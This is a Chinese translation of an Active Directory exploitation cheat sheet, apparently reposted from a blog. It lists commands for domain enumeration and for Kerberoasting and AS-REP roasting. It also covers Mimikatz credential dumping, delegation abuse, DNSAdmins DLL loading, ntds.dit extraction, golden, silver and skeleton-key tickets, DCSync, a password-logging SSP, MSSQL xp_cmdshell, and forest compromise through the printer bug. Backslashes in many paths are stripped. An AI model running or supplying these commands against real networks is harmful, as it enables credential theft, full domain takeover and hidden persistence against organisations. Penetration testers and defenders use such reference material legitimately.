Active-Directory活动目录备忘录

活动目录使用备忘单

包含 Windows 活动目录的常见枚举和攻击方法的备忘单。

工具

枚举

使用 PowerView

  • 获取当前域: Get-NetDomain

  • Enum 其他域: Get-NetDomain -Domain <DomainName>

  • 获取域 SID: Get-DomainSID

  • 获取域策略:

    Get-DomainPolicy
    
    #Will show us the policy configurations of the Domain about system access or kerberos
    (Get-DomainPolicy)."system access"
    (Get-DomainPolicy)."kerberos policy"
    
  • 获取域控制器:

    Get-DomainPolicy
    Get-NetDomainController
    Get-NetDomainController -Domain <DomainName>
    
  • 枚举域用户:

    Get-NetUser
    Get-NetUser -SamAccountName <user> 
    Get-NetUser | select cn
    Get-UserProperty
    
    #Check last password change
    Get-UserProperty -Properties pwdlastset
    
    #Get a spesific "string" on a user's attribute
    Find-UserField -SearchField Description -SearchTerm "wtver"
    
    #Enumerate user logged on a machine
    Get-NetLoggedon -ComputerName <ComputerName>
    
    #Enumerate Session Information for a machine
    Get-NetSession -ComputerName <ComputerName>
    
  • Enum 域计算机:

    Get-NetComputer -FullData
    Get-DomainGroup
    
    #Enumerate Live machines 
    Get-NetComputer -Ping
    
  • Enum 有趣的组成员:

    Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
    
  • 枚举共享

    #Enumerate Domain Shares
    Find-DomainShare
    
    #Enumerate Domain Shares the current user has access
    Find-DomainShare -CheckShareAccess
    
  • Enum 组策略:

    Get-NetGPO
    
    # Shows active Policy on specified machine
    Get-NetGPO -ComputerName <Name of the PC>
    Get-NetGPOGroup
    
    #Get users that are part of a Machine's local Admin group
    Find-GPOComputerAdmin -ComputerName <ComputerName>
    
  • Enum OUs:

    Get-NetOU -FullData 
    Get-NetGPO -GPOname <The GUID of the GPO>
    
  • Enum ACL:

    # Returns the ACLs associated with the specified account
    Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
    Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
    
    #Search for interesting ACEs
    Invoke-ACLScanner -ResolveGUIDs
    
    #Check the ACLs associated with a specified path (e.g smb share)
    Get-PathAcl -Path "\PathOfAShare"
    
  • Enum 信任域:

    Get-NetDomainTrust
    Get-NetDomainTrust -Domain <DomainName>
    
  • Enum 信任林:

    Get-NetForestDomain
    Get-NetForestDomain Forest <ForestName>
    
    #Domains of Forest Enumeration
    Get-NetForestDomain
    Get-NetForestDomain Forest <ForestName>
    
    #Map the Trust of the Forest
    Get-NetForestTrust
    Get-NetDomainTrust -Forest <ForestName>
    
  • 用户狩猎:

    #Finds all machines on the current domain where the current user has local admin access
    Find-LocalAdminAccess -Verbose
    
    #Find local admins on all machines of the domain:
    Invoke-EnumerateLocalAdmin -Verbose
    
    #Find computers were a Domain Admin OR a spesified user has a session
    Invoke-UserHunter
    Invoke-UserHunter -GroupName "RDPUsers"
    Invoke-UserHunter -Stealth
    
    #Confirming admin access:
    Invoke-UserHunter -CheckAccess
    

    Priv Esc 到域管理员与用户狩猎:
    当已经获得了计算机本地管理员访问权限 - > 域管理员有一个会话在该计算机上 - > 可以通过窃取他的令牌并冒充他

PowerView 3.0 技巧

使用 AD Module

  • 获取当前域: Get-ADDomain

  • Enum 其他域: Get-ADDomain -Identity <Domain>

  • 获取域 SID: Get-DomainSID

  • 获取域控制器

    Get-ADDomainController
    Get-ADDomainController -Identity <DomainName>
    
  • 枚举域用户

    Get-ADUser -Filter * -Identity <user> -Properties *
    
    #Get a spesific "string" on a user's attribute
    Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
    
  • Enum 域计算机

    Get-ADComputer -Filter * -Properties *
    Get-ADGroup -Filter * 
    
  • Enum 域信任

    Get-ADTrust -Filter *
    Get-ADTrust -Identity <DomainName>
    
  • Enum 森林信托

    Get-ADForest
    Get-ADForest -Identity <ForestName>
    
    #Domains of Forest Enumeration
    (Get-ADForest).Domains
    

使用BloodHound

#Using exe ingestor
.SharpHound.exe --CollectionMethod All --LDAPUser <UserName> --LDAPPass <Password> --JSONFolder <PathToFile>
    
#Using powershell module ingestor
. .SharpHound.ps1
Invoke-BloodHound -CollectionMethod All  -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>

好用的枚举工具

本地权限升级

横向运动

Powershell远程处理

#Enable Powershell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)
$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>

使用 PS 凭据执行远程代码

$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

导入Powershell模块并远程执行其功能

#Execute the command and start a session
Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:FilePathfile.ps1 -Session $sess 

#Interact with the session
Enter-PSSession -Session $sess

执行远程有状态命令

#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz & Invoke-Mimikatz

#Dump credentials:
Invoke-Mimikatz -DumpCreds

#Dump credentials in remote machines:
Invoke-Mimikatz -DumpCreds -ComputerName <ComputerName>

#Execute classic mimikatz commands:
Invoke-Mimikatz -Command '"sekrlusa::<ETC ETC>"'

好用的工具

  • Powercat netcat的powershell版本, 并提供隧道、中继和端口转发功能.
  • SCShell 无文件横向移动工具,它依赖于 ChangeServiceConfigA 来运行命令
  • Evil-Winrm 终极的 WinRM shell
  • RunasCs Csharp 和打开版本的窗口内置 runas. exe

域权限升级

Kerberoast

  • PowerView:
#Get User Accounts that are used as Service Accounts
Get-NetUser -SPN

#Get every available SPN account, request a TGS and dump its hash
Invoke-Kerberoast

#Requesting the TGS for a single account:
Request-SPNTicket
  
#Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
  • AD Module:
#Get User Accounts that are used as Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  • Impacket:
python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName>
  • Rubeus:
#Kerberoasting and outputing on a file with a spesific format
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>

#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec

#Kerberoast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes
 
#Kerberoast spesific user account
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple

#Kerberoast by specifying the authentication credentials 
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>

ASREPRoast

  • PowerView: Get-DomainUser -PreauthNotRequired -Verbose
  • AD Module: Get-ADUser -Filter {DoesNoteRequirePreAuth -eq $True} -Properties DoesNoteRequirePreAuth

强行禁用 Kerberos Preauth 的帐户上,检查帐户上的特殊权限:

提示: 我们添加一个过滤器,例如 ,DPUS 获取"用户帐户"而不是机器帐户,因为机器帐户哈希不可破解!

PowerView:

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose

最后使用 ASREPRoast 工具执行攻击.

#Get a spesific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose
#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose

使用 Rubeus:

#Trying the attack for all domain users
Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

#ASREPRoast spesific user
Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

#ASREPRoast users of a spesific OU (Organization Unit)
Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

使用 Impacket:

#Trying the attack for the specified users on the file
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>

Password Spray Attack

如果我们通过用户帐户来收集一些密码,我们可以使用此方法尝试在其他域帐户上利用密码重用。

Tools:

Force Set SPN

如果我们有足够的权限 -> 通用所有/通用写入,我们可以在目标帐户上设置 SPN,请求 TGS,然后获取其哈希并标记它。

  • PowerView:
#Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
 
#Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname
 
#Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
  • AD 模块:
#Check if current user has already an SPN setted
Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName
  
#Force set the SPN on the account:
Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}

最后使用任何工具从之前抓住哈希和破解它!

滥用卷影副本

如果您在计算机上具有本地管理员访问权限,请尝试列出卷影副本,则这是权限升级的一种简单方法。

#List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
  
#List shadow copies using diskshadow
diskshadow list shadows all
  
#Make a symlink to the shadow copy and access it
mklink /d c:shadowcopy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1
  1. 您可以转储备份的 SAM 数据库并获取凭据。
  2. 查找 DPAPI 存储的信条并解密它们。
  3. 访问备份的敏感文件。

列出和解密存储的凭据

Dpapi

不受约束的委派

如果我们在启用了无约束委派的计算机上具有管理访问权限,我们可以等待高价值目标或 DA 连接到它,窃取他的 TGT,然后 ptt 并冒充他!

使用 PowerView:

#Discover domain joined computers that have Unconstrained Delegation enabled
Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay   
<WaitInterval> -Verbose

#Dump the tickets to disk:
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack:
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'

注:我们也可以使用Rubeus!

受限委派

使用 PowerView 和 Kekeo:

#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

替代方案:使用Rubeus:

Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt

现在,我们可以以模拟用户名访问该服务!

如果我们有一个机器帐户与约束委派:我们可以做相同的步骤,以前,但而不是用户帐户,我们可以使用机器的帐户!一个很好的错误配置是即使我们只指定了允许计算机帐户委托到的服务,我们也可以委托给任何"使用"此计算机帐户的服务!

例如,如果机器帐户被信任到 DC 的"时间"服务,我们可以使用任何我们想要的服务 -> ldap,cifs 等!

这是很重要, 因为如果我可以使用 ldap 在 Dc 上, 我可以 Dcsync 模拟域管理员!

基于资源的受限委派

如果我们对域的机帐户对象具有通用ALL/GenericWrite 权限,我们可以滥用它并冒充域的任何用户。例如,我们可以模拟域管理员并具有完全访问权限。

我们将使用的工具:

首先,我们需要输入对对象具有权限的用户/计算机帐户的安全上下文。如果是用户帐户,我们可以使用传递哈希、RDP、PSCredential 等。

开发示例:

#Import Powermad and use it to create a new MACHINE ACCOUNT
. .Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength) 
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \TargetMachine.wtver.domainC$

详细文章:

DNS 管理员滥用

如果用户是 DNSAdmins 组的成员,他可以使用 dns.exe 作为系统运行的权限加载任意 DLL。如果 DC 提供 DNS,用户可以将其权限升级为 DA。此利用过程需要权限才能重新启动 DNS 服务才能工作。

  1. 枚举 DNS 管理员组的成员:

    • PowerView:Get-NetGroupMember -GroupName "DNSAdmins"
    • AD 模块:Get-ADGroupMember -Identiny DNSAdmins
  2. 一旦我们找到了这个组的成员,我们需要妥协(有很多方法)。

  3. 然后,通过向 SMB 共享提供恶意 DLL 并配置 dLL 使用情况,我们可以提升我们的权限:

    #Using dnscmd:
    dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \PathToOurDllmalicious.dll
    
    #Restart the DNS Service:
    sc \DNSServer stop dns
    sc \DNSServer start dns
    

滥用活动目录集成 DNS

滥用备份操作员组

如果我们设法危害了作为备份操作员组成员的用户帐户,那么我们可以滥用 SeBackup 特权来创建 DC 当前状态的卷影副本,提取 ntds.dit 数据库文件,转储哈希并提升到 DA 的权限。

  1. 一旦我们有权访问具有 SeBackup 特权的帐户, 我们就可以访问 DC 并使用签名的二进制磁盘阴影创建一个卷影副本:
#Create a .txt file that will contain the shadow copy process script
Script ->{
set context persistent nowriters  
set metadata c:windowssystem32spooldriverscolorexample.cab  
set verbose on  
begin backup  
add volume c: alias mydrive  
 
create  
  
expose %mydrive% w:  
end backup  
}

#Execute diskshadow with our script as parameter
diskshadow /s script.txt
  1. 接下来,我们需要访问卷影副本,我们可能有SeBackup特权,但我们不能简单地复制粘贴ntds.dit,我们需要模仿备份软件,并使用 Win32 API 调用在可访问的文件夹上复制它。为此,我们将使用这个惊人的存储库:
#Importing both dlls from the repo using powershell
Import-Module .SeBackupPrivilegeCmdLets.dll
Import-Module .SeBackupPrivilegeUtils.dll
  
#Checking if the SeBackupPrivilege is enabled
Get-SeBackupPrivilege
  
#If it isn't we enable it
Set-SeBackupPrivilege
  
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
Copy-FileSeBackupPrivilege w:windowsNTDS
tds.dit c:<PathToSave>
tds.dit -Overwrite
  
#Dump the SYSTEM hive
reg save HKLMSYSTEM c:	empsystem.hive 
  1. 使用smbclient.py包或其他工具,我们复制 ntds.dit 和SYSTEM hive在我们的本地机器上。
  2. 使用impacket包中的secretsdump.py转储哈希。
  3. 使用 psexec 或您选择的其他工具到 PTH 并获取域管理员访问权限。

滥用交换

武器化打印机错误

滥用 ACL

滥用 IPv6 与Mitm 6

SID 历史滥用

如果我们设法破坏林的子域,并且未启用 SID筛选(大多数时候未启用),我们可以滥用它的权限提升到林根域的域管理员。这是可行的,因为Kerberos TGT 票证上的 SID 历史记录字段定义了"额外"安全组和特权。

开发示例:

#Get the SID of the Current Domain using PowerView
Get-DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID
Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:path	o	icketgolden.kirbi

#Inject the ticket into memory
kerberos::ptt path	o	icketgolden.kirbi

#List the DC of the Root Domain
dir \dc.root.domain.localC$

#Or DCsync and dump the hashes using mimikatz
lsadump::dcsync /domain:root.domain.local /all

详细文章:

利用共享点

域持久性

金票攻击

#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

#On any machine:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:
<HashOfkrbtgtAccount>   id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

DCsync 攻击

#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName><AnyDomainUser>"'

#DCsync using secretsdump.py from impacket with NTLM authentication
secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

#DCsync using secretsdump.py from impacket with Kerberos Authentication
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm

提示:
/ptt -> 在当前正在运行的会话 /票证上注入票证 - > 将票证保存在系统供以后使用

银票攻击

Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service:
<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'

SPN 列表

Skeleton key攻击

#Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN>

#Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>Administrator

DSRM 滥用

每个 Dc 都有一个本地管理员帐户, 此帐户有 Dsrm 密码, 这是一个安全回传密码。我们可以得到这个, 然后 pth 其 Ntlm 哈希, 以获得本地管理员访问 Dc!

#Dump DSRM password (needs DA privs):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>

#This is a local account, so we can PTH and authenticate!
#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:
Enter-PSSession -ComputerName <DC's Name>

#Alter the Logon behaviour on registry:
New-ItemProperty "HKLM:SystemCurrentControlSetControlLsa" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

#If the property already exists:
Set-ItemProperty "HKLM:SystemCurrentControlSetControlLsa" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose

然后只是 Pth 获得 Dc 上的本地管理员访问权限!

自定义 SSP

我们可以通过从 mimikatz 中删除自定义 dll 来设置 SSP, 例如 mimilib.dll, 这将监视和捕获登录的用户的纯文本密码!

使用Powershell:

#Get current Security Package:
$packages = Get-ItemProperty "HKLM:SystemCurrentControlSetControlLsaOSConfig" -Name 'Security Packages' | select -ExpandProperty  'Security Packages'

#Append mimilib:
$packages += "mimilib"

#Change the new packages name
Set-ItemProperty "HKLM:SystemCurrentControlSetControlLsaOSConfig" -Name 'Security Packages' -Value $packages
Set-ItemProperty "HKLM:SystemCurrentControlSetControlLsa" -Name 'Security Packages' -Value $packages

#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'

现在,DC 上的所有登录都记录到 -> C:WindowsSystem32kiwissp.log

跨林攻击

信任票据

如果我们在与其他林具有双向信任关系的域上拥有域管理员权限,我们可以获取信任密钥并伪造我们自己的域间 TGT。

我们将有的访问将仅限于什么我们的DA帐户配置为在其他森林!

使用Mimikatz:

#Dump the trust key
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

#Forge an inter-realm TGT using the Golden Ticket attack
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid:  
<OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket:
<PathToSaveTheGoldenTicket>"'

票 ->.kirbi 格式

然后,使用域间 TGT 向外部林请求 TGS 的任何服务,并访问资源!

使用Rubeus:

.Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt

滥用 MSSQL 服务器

  • 枚举 MSSQL 实例:Get-SQLInstanceDomain
  • 作为当前用户检查辅助功能:
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • 收集有关实例的信息:Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
  • 滥用 SQL 数据库
    链接:数据库链接允许 SQL Server 访问其他资源,如其他 SQL Server。如果我们有两个链接的 SQL 服务器,我们可以在其中执行存储过程。数据库链接也跨林信任工作!

检查现有数据库链接:

#Check for existing Database Links:
#PowerUpSQL:
Get-SQLServerLink -Instace <SPN> -Verbose
     
#MSSQL Query:
select * from master..sysservers

然后,我们可以使用查询枚举来自链接数据库的其他链接:

#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')
     
#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose
     
#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"

查询执行:

Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"

打破林信任

如果我们与外部林有双向信任,并且我们设法在已启用无约束委派的本地林上破坏计算机(DC 默认情况下具有此功能),我们可以使用打印机错误强制外部林根域的 DC 向我们进行身份验证。然后,我们可以捕获它是 TGT,将其注入内存和 DCsync 以转储其哈希,从而对整个林进行完全访问。

我们将使用的工具:

开发示例:

#Start monitoring for TGTs with rubeus:
Rubeus.exe monitor /interval:5 /filteruser:target-dc$

#Execute the printerbug to trigger the force authentication of the target DC to our machine
SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

#Get the base64 captured TGT from Rubeus and inject it into memory:
Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>

#Dump the hashes of the target domain using mimikatz:
lsadump::dcsync /domain:external.forest.local /all 

详细文章:

原文地址:
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet

原文地址:https://www.cnblogs.com/micr067/p/13283950.html